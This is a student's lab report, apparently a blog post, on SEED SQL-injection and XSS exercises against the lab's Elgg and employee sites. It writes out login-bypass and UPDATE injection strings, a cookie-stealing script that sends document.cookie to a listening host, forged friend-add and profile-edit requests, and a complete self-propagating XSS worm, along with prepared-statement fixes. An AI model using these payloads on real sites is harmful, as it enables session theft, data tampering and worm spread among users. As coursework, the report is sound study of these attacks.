zty1234

导航

20241903 2024-2025-2 《网络攻防实践》第10次作业

1. 实践内容

本实验包括两个部分:SQL注入攻击与防御实验和XSS跨站脚本攻击实验。在SQL注入实验中,参与者需熟悉SQL语句,利用Web应用的SQL注入漏洞进行SELECT和UPDATE语句攻击,并修复漏洞。在XSS实验中,参与者通过在Elgg Web应用中嵌入JavaScript程序,实现发布恶意消息、窃取cookie、自动加好友、修改受害者信息等攻击,并编写XSS蠕虫,最后学习对抗XSS攻击的方法。


2. 前置知识

SQL注入攻击:
SQL注入攻击是一种常见的网络安全漏洞攻击方式。其原理是攻击者通过在 Web应用程序 的输入框或其他输入点中插入恶意的SQL代码,干扰或篡改数据库的正常查询逻辑,从而获取敏感数据、篡改数据库内容或执行其他恶意操作。而Web应用程序未能对用户输入进行严格过滤和验证,直接将用户输入拼接到SQL查询语句中。当攻击者输入恶意SQL代码时,这些代码会被数据库执行,导致数据库的行为被篡改。
SQL注入攻击主要有以下几种类型:

  1. 基于错误信息的注入
    攻击者通过输入恶意SQL代码,触发数据库错误信息,从中获取数据库结构、表名、字段名等敏感信息。例如,输入'可能导致数据库报错,显示表结构信息。

  2. 布尔型注入
    攻击者通过构造SQL语句,使查询结果返回布尔值(真或假),从而判断SQL语句是否执行成功。例如,输入' AND 1=1' AND 1=2,通过观察页面返回结果是否不同,判断注入是否成功。

  3. 时间型注入
    攻击者通过构造SQL语句,使数据库执行耗时操作(如SLEEP()函数),通过观察页面响应时间判断SQL语句是否执行。例如,输入' AND SLEEP(10),如果页面延迟10秒返回,说明注入成功。

  4. 联合查询注入
    攻击者通过构造UNION SELECT语句,将恶意查询结果与正常查询结果合并显示,从而获取额外数据。例如,输入' UNION SELECT username, password FROM users --,可能会显示用户表中的用户名和密码。

  5. 盲注
    当数据库不返回错误信息或页面无明显变化时,攻击者通过逐字节猜测的方式,逐个字符地获取数据库中的数据。例如,通过构造' AND ASCII(SUBSTRING(password,1,1))=50,逐个字符猜测密码。

XSS跨站脚本攻击:
XSS跨站脚本攻击是一种网络安全漏洞,攻击者通过在网页中注入恶意代码(如JavaScript),当其他用户访问该网页时,恶意代码会在他们的浏览器中执行,从而实现窃取信息、篡改页面等攻击目的。XSS攻击的原理是Web应用程序未对用户输入进行过滤或转义,直接将输入内容渲染到页面上。攻击者利用漏洞注入恶意代码,其他用户访问时触发攻击。
XSS攻击的类型也有几种,包括:

  1. 存储型XSS:恶意代码存储在服务器上,长期影响访问该页面的用户。

  2. 反射型XSS:通过诱导用户点击包含恶意代码的链接,临时触发攻击。

  3. DOM型XSS:通过客户端JavaScript修改页面DOM,注入恶意代码。


3. 实践过程

本次实践分为两个实验。先将主机名字改成zty。

实验一:SQL注入攻击与防御实验

本次实验的环境为SEED。有一个Web应用程序被托管在www.SEEDLabSQLInjection.com上。该Web应用程序是一个简单的员工管理应用程序。员工可以通过此Web应用程序查看和更新数据库中的个人信息。此Web应用程序主要有两个角色:管理员是特权角色,可以管理每个员工的个人资料信息。员工是一般角色,可以查看或更新自己的个人资料信息。

首先我们需要先 熟悉SQL语句 。键入mysql -u root -p,用密码seedubuntu登录。

键入show database;查看数据库。

键入use Users;来使用该数据库。键入show tables;来查看该数据库有什么表。

键入select * from credential;

来查看这个表中的所有数据。
我们键入select * from credential where Name='Alice';来查看这个表中名字为Alice的全部数据。可以看到总共就一条匹配的消息被陈列。

接下来我们开始 SQL的注入实验
我们打开www.SEEDLabSQLInjection.com。单击f12。可以通过选择页面成分来找到下图的位置。可以看到,该网页的登录方式为账号密码以GET的方式给了一个叫unsafe_home.php的文件进行验证。

我们到终端,键入nano /var/www/SQLInjection/unsafe_home.php查看该文件来获得具体的登录验证方式。

显然,该文件验证的方式是通过 加载数据库信息 ,使用select语句 查询 是否有该用户和对应密码。但是很显然,我们只要输入任意一个已存在于数据库中的账号名字后面加上' #后上传到这个语句,本来功能正常的select语句将会 注释掉验证密码的半句,从而绕过验证,实现只用用户名登录
因此,我们键入Admin' #作为账号,不输入密码尝试登录。


成功登录!
同样,我们输入一个员工Alice的名字而不输入密码,也可以绕过密码验证来查看Alice的个人信息。这就是一个典型的sql注入。

接下来我们尝试 对表中的元素进行修改
我们尝试修改Admin的工资,目前是400000。
单击f12查看页面代码。用同样的方法,选择页面目标快速定位。可以看到这一次使用的文件是unsafe_edit_backend.php,同样也是使用get方法。

因此我们键入nano /var/www/SQLInjection/unsafe_edit_backend.php查看文件。

可以看到,该文件中使用update语句来更新内容条目。因此我们可以在原框输入',Salary='4' where Name='Admin';#,将他的工资改为4。可以看到,我们成功通过注入修改了他的工资。原理与上相同。


接下来我们尝试更改sql语句来 防止sql注入
对unsafe_home.php文件中更改sql语句为:$sql = $conn->prepare("SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email, nickname, Password From credential WHERE name= ? and Password=?;"); $sql->bind_param("ss",$input_uname,$hashed_pwd);

对unsafe_edit_backend.php文件中更改sql语句为:$sql = $conn->prepare("UPDATE credential SET nickname=?,email=?,address=?,PhoneNumber=? where ID=$id;");$sql->bind_param("ssss", $input_nickname, $input_email,$input_address, $input_phonenumber);

可以看到不能用原先的Alice’;#登录。成功保护。
实验一成功!

实验二:XSS跨站脚本攻击实验

本次实验环境为SEED。我们利用预先构建的Ubuntu VM映像中设置了一个名为Elgg的Web应用程序。在本实验中,我们需要利用此漏洞对经过修改的Elgg发起XSS攻击,攻击的最终目的是在用户之间传播XSS蠕虫,最终的目的是 无论是谁查看的受感染用户个人资料都将被感染

首先我们先做一个 xss弹窗
我们访问http://www.xsslabelgg.com/,用账号alice和密码seedalice登录。

点进主页,在Brief description处写入<script>alert("20241903zty");</script>,发现弹出窗口显示20241903zty。


之后每次进入这个界面都会弹窗。
将Brief description处的内容换成<script> alert(document.cookie);</script>,再次保存提交,我们能成功得到网页的cookie。

接下来我们要通过反射式的XSS来远程获取cookie。
先键入ifconfig查看本机ip。

将Brief description处的内容换成<script>document.write('<img src=http://192.168.200.8:5555?c=' + escape(document.cookie) + '>');</script>,然后我们去终端,键入nc -l 5555开启端口监听。然后在网页上保存。

可以看到已经拦截到了cookie信息。

接下来我们要 以受害者朋友的身份来攻击
将鼠标悬停在boby主页的add friend上,可以看到下方有一个请求代码。这说明了要向http://www.xsslabelgg.com/action/friends/add发送一个请求,并且附带了id,时间戳和token三个参数。

我们继续来到Alice的edit profile处,在edit html模式下往about me中填写如下代码:
<p><script type="text/javascript"> window.onload = function () { var Ajax=null; var ts="&__elgg_ts="+elgg.security.token.__elgg_ts; var token="&__elgg_token="+elgg.security.token.__elgg_token; var sendurl="http://www.xsslabelgg.com/action/friends/add?friend=45" + ts + token; Ajax=new XMLHttpRequest(); Ajax.open("GET",sendurl,true); Ajax.setRequestHeader("Host","www.xsslabelgg.com"); Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded"); Ajax.send(); } </script></p>

保存。访问boby主页再回来可以看到已经 越过验证直接添加boby为好友 ,甚至访问自己的主页还能添加自己为好友。它的原理是构造了一个XMLHttpRequest对象,以GET方式向添加好友的URL发送请求,由于构造的参数是对的,因此直接绕过了验证成功添加。

我们继续在Alice的about me中修改恶意代码来修改受害人的信息进行攻击。插入恶意代码如下:
<script type="text/javascript"> window.onload = function(){ var userName=elgg.session.user.name; var guid="&guid="+elgg.session.user.guid; var ts="&__elgg_ts="+elgg.security.token.__elgg_ts; var token="&__elgg_token="+elgg.security.token.__elgg_token; var content= token + ts + "name=" + userName + "&description=<p>This have been cracked by alice.</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid; var sendurl = "http://www.xsslabelgg.com/action/profile/edit" alert(content) var samyGuid=45; if(elgg.session.user.guid!=samyGuid) { var Ajax=null; Ajax=new XMLHttpRequest(); Ajax.open("POST",sendurl,true); Ajax.setRequestHeader("Host","www.xsslabelgg.com"); Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); Ajax.send(content); } } </script>

保存。然后在boby端访问Alice的主页,再回到自己主页的时候。发现自己的 about me上已经显示被Alice攻击。它的原理主要是先通过访问elgg.session.user对象,获取当前登录用户的用户名(name)和唯一标识符(guid),以及安全令牌(elgg.security.token),然后将获取到的用户信息和安全令牌,连同要设置的恶意内容,例如 description= <p>This have been cracked by alice.</p>一起拼接成一个POST请求的参数字符串。这些参数模仿了正常用户在编辑个人资料时提交的数据格式。最后再使用XMLHttpRequest对象向服务器发送POST请求,目标URL是个人资料编辑的接口(http://www.xsslabelgg.com/action/profile/edit)。
请求中包含了构造好的恶意参数,一旦服务器处理该请求,就会将恶意内容保存到受害者的个人资料中。


接下来我们给这个代码添加 传播 的部分。我们修改恶意代码如下:
<script id="worm" type="text/javascript"> window.onload = function(){ var headerTag = "<script id=\'worm\' type=\'text/javascript\'>"; var jsCode = document.getElementById("worm").innerHTML; var tailTag = "</" + "script>"; var wormCode = encodeURIComponent(headerTag + jsCode + tailTag); var userName=elgg.session.user.name; var guid="&guid="+elgg.session.user.guid; var ts="&__elgg_ts="+elgg.security.token.__elgg_ts; var token="&__elgg_token="+elgg.security.token.__elgg_token; var content= token + ts + "&name=" + userName + "&description=<p>20241903ztytyz"+ wormCode + "</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid; var sendurl = "http://www.xsslabelgg.com/action/profile/edit" var samyGuid=44; if(elgg.session.user.guid!=samyGuid){ var Ajax=null; Ajax=new XMLHttpRequest(); Ajax.open("POST",sendurl,true); Ajax.setRequestHeader("Host","www.xsslabelgg.com"); Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); Ajax.send(content); } } </script>
它的原理主要是通过document.getElementById("worm").innerHTML获取当前脚本的代码内容,将其存储在jsCode变量中。获取脚本的头部和尾部标签,分别存储在headerTag和tailTag中。将头部、代码和尾部拼接成完整的脚本内容,并进行URL编码后存储在wormCode变量中。然后再获得必要的成分比如name,guid等,最后在构造的POST请求参数中,将恶意代码(wormCode)嵌入到用户个人资料的description字段中。当其他用户查看受害者的个人资料时,嵌入的恶意代码就会被执行。
我们验证该代码是否能有传播的能力。
首先清空boby的about me。用boby的账户访问Alice主页,再返回自身页面,发现已经被攻击。

接下来我们登录admin,访问boby的主页。发现也被传染,证明蠕虫已经具备了传播能力!


4.学习中遇到的问题及解决

  • 问题1:屏幕适应出问题导致实验一中本应该出现的按钮edit profile没有了。
  • 问题1解决方案:给seed安装vmwaretool即可自适应。

5. 实践总结

这次SQL注入与XSS攻击实验是我第一次直观的接触到蠕虫病毒的可怕,我深刻体会到了网络安全的复杂性和重要性。在实验过程中我亲手实践了攻击方法,更深入了解了这些漏洞的原理和危害。SQL注入让我意识到,即使是简单的输入框,也可能成为攻击的入口;而XSS蠕虫设计的实验则让我明白,蠕虫的设计是如此的简单,危害数量却可以以指数级别的增长。这些实验让我明白,安全防护绝非一劳永逸,而是需要持续关注和改进。在未来的开发中,我们需要更加注重代码的安全性,严格遵循安全规范,同时也会积极学习新的安全技术和防护措施,以应对不断变化的网络威胁。


参考资料

VMware虚拟机界面太小?如何放大虚拟机页面教程来了!

posted on 2025-04-29 21:22  zty1423  阅读(95)  评论(0)    收藏  举报